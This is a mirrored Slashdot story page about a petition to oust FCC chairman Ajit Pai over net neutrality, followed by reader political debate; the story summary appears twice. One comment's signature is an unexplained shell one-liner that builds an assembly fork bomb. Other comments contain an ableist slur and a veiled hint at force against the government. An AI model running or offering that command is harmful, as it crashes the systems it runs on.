Slashdot Mirror
Petition Calls for Ouster of FCC Chairman Pai (whitehouse.gov)
Long-time Slashdot reader speedplane writes:
Yes, we've all heard that net neutrality is on its way out, and it seems NPR was able to snag one of the few (the only?) interview's of Ajit Pai on its effect. Sadly, NPR's Rachel Martin stuck to very broad and basic questions, and failed to press Pai on the change of policy. That said, it's worth a listen.
Pai insists that "We saw companies like Facebook, and Amazon and Google become global powerhouses precisely because we had light-touch rules that applied to this Internet. The Internet wasn't broken in 2015 when these heavy-handed regulations were adopted, and once we remove them, I think we'll continue to see the infrastructure investment that will benefit digital consumers and entrepreneurs alike... I've talked to a lot of companies that say, look, we want to be able to invest in these networks, especially in rural and low-income urban areas, but the more heavy-handed the regulations are, the less likely we can build a business case for doing it."
But New York's Attorney General Eric Schneiderman says he's spent six months investigating "a massive scheme to corrupt the FCC's notice and comment process" for net neutrality, adding that "the FCC has refused multiple requests for crucial evidence." (Nine requests over five months were ignored.) And now over 65,000 people have signed a new online petition at WhiteHouse.gov calling for the immediate removal of Ajit Pai as the FCC's chairman, calling him "a threat to our freedoms."
Meanwhile, The Verge has compiled "a list of the lawmakers who voted to betray you," with each listing also including "how much money they received from the telecom industry in their most recent election cycle."
Pai insists that "We saw companies like Facebook, and Amazon and Google become global powerhouses precisely because we had light-touch rules that applied to this Internet. The Internet wasn't broken in 2015 when these heavy-handed regulations were adopted, and once we remove them, I think we'll continue to see the infrastructure investment that will benefit digital consumers and entrepreneurs alike... I've talked to a lot of companies that say, look, we want to be able to invest in these networks, especially in rural and low-income urban areas, but the more heavy-handed the regulations are, the less likely we can build a business case for doing it."
But New York's Attorney General Eric Schneiderman says he's spent six months investigating "a massive scheme to corrupt the FCC's notice and comment process" for net neutrality, adding that "the FCC has refused multiple requests for crucial evidence." (Nine requests over five months were ignored.) And now over 65,000 people have signed a new online petition at WhiteHouse.gov calling for the immediate removal of Ajit Pai as the FCC's chairman, calling him "a threat to our freedoms."
Meanwhile, The Verge has compiled "a list of the lawmakers who voted to betray you," with each listing also including "how much money they received from the telecom industry in their most recent election cycle."
Too little too late.
Steve Bannon has already suggested regulating them as utilities
https://www.google.com/amp/s/s...
Essentially the Democrats want one set of unpopular companies regulated. Bannon wants another set regulated. Right now the mainstream GOP is sticking to principle - ie that regulating either is bad and the status quo should stay. As US politics becomes more about shafting the other tribe and less about principles that might change though. I think it's fair to assume Trump is not overly concerned with abstract principles.
Of course neither the Democrats or the GOP will confront the fact that telco monopolies were created by regulation. The reason people worry about Comcast abusing its position is because in many places in the US there is only one ISP option. Which is not true for most customers in the UK for example. UK regulations are not perfect but living in the UK I always had a choice of ISP. Hell even in corporatist Sweden that was true. Ericsson was powerful enough to avoid taxes but it wasn't powerful enough to manipulate regulations so it was a monopoly ISP.
And the Net Neutrality advocates won't confront the fact that their argument for net neutrality should apply to Google and FB which are decidedly non neutral for political content. Then they say "It's a private company, they can do what they want" and link to that xkcd cartoon about being shown the door.
It's hard to sympathize much with either side really. The GOP don't really oppose regulation because they want to keep the regulations that create monopolies. And the Net Neutrality folks don't really believe in Net Neutrality. If Google and FB violate Net Neutrality in ways that hurt their political opponents and help their political allies they don't care.
And it's more likely that both the Democrats and Republicans decide on regulation based on whether it helps companies that donate to them and hurts ones who don't than that they're acting out of anything resembling principle.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I think "A threat to our freedoms" is polarized political mumbo jumbo and not going to serve anyone well in this discussion. The real claim here is that Ajit Pai has a sympathetic view towards corporations that is likely to be a conflict of interest and is using political spin to attempt to justify this position. The political spin is nonsense as far as I can tell. By the way, I'm sure a lot of this is coming from the US Chamber of Commerce and the Business Roundtable. That's the real reason that Ajit Pai should be removed is because he lakes the ability to be impartial and do what's best for the country not corporate America. As we all know, there is a systemic problem of corruption in America and Ajit Pai is the latest to succumb to its influence. It's unfortunately the status quo in American politics.
Now liberals, think about this issue that you care about very dearly. You protest, you sign all these petitions, you blog and project online, etc. and what does the government and corporate America do? They laugh at you because they think you're weak and all talk and no action. It thinks you'll lose interest in the issue and the status quo will continue. Now I wonder.. how else might the people be able to compel the government to represent them? You do the math... and you'll probably move a tad to the right of your beliefs when you realize what the answer to that question is. It's a sad state of affairs in America today that no one seems to have the capability to be reasonable.
We'll make great pets
"The Internet wasn't broken in 2015 when these heavy-handed regulations were adopted,"
2015? Ahhh lets remember 2006 and the various efforts to stop telcos slowing traffic to charge throttling fees..
Here's Senator Stevens:
https://en.wikipedia.org/wiki/Series_of_tubes
"A series of tubes" is a phrase coined originally as an analogy by then-United States Senator Ted Stevens (R-Alaska) to describe the Internet in the context of opposing network neutrality.[1] On June 28, 2006, he used this metaphor to criticize a proposed amendment to a committee bill. The amendment would have prohibited Internet Access providers such as AT&T, Comcast, Time Warner Cable, and Verizon Communications from charging fees to give some companies' data a higher priority in relation to other traffic. The metaphor has been widely ridiculed, particularly because Stevens displayed an extremely limited understanding of the Internet, even though he was in charge of regulating it
They keep trying, the FCC blocks them, the Telcos go to court, or block in a slightly different way, and the FCC changes the rules to clamp down on it, and this cat and mouse game has gone on for over a decade. Pai of course knows as an ex Verizon lawyer he helped craft workarounds. He's trying to deceive.
Why shouldn't Pai be answerable for his lies? Why is it extreme to expect him to do his job of regulating the monopoly telco industry so they don't screw over customers?
All Year
A Couple Weeks Before NN Vote
A Week After Vote
I am sure I will get flamed for this, but to be honest, Americans deserve to lose their Internet freedom. The vast majority are unwilling to lift a finger to protect it. Most are unwilling to take an active roll in their political system to the point where someone like Donald Freaken Trump got elected to POTUS. I borderline retarded sociopath of a TV personality.
That the heck did people think would happen?
So, yes, you deserve to lose the internet. You deserve to lose your health care coverage. You deserve to pay higher taxes to the rich can pay less. You deserve to breath poison air and drink poison water after the dismantling of the EPA.
Ultimately, this who situation will be good for the world.
Europe will finally be forced to get off their asses and take their own destiny into the their hands. Same for Asia. It will shift the balance of power around in a way to create better long term stability.
Let's face, politically and socially, America has been on the way down for a long time. I think that only by hitting rock bottom will Americans wake up and say, fuck this shit! Enough and enough!! Then, finally take their country back from the oligarchy which it has become.
I do wish Americans every chance to get back on track, because they also deserve that.
Pai also sat down with Reason a few months ago to discuss his goals as FCC chairman and his argument for reversing the Open Internet Order. You can see that interview here.
But Slashdot is doing a disservice conflating two issues here. Submitters' abuse of the online comment process has nothing to do with the propriety of reversing the last chairman's effort to regulate the internet.
It needs to be emphasized loudly: regulatory bodies are not democratic. Congress is the place where representatives hash out the direction of the US government, and commissions like the FCC are to follow the direction decided upon legislatively. They are not to act as a shadow legislature overriding and undermining the decisions made by Congress.
If you don't like that Congress decided we should have a light-touch approach to the internet, then great! Write your congressman and work to change the law. Meanwhile, the FCC will address the issues brought up in its comment period regardless of who submitted them as the law directs it to do.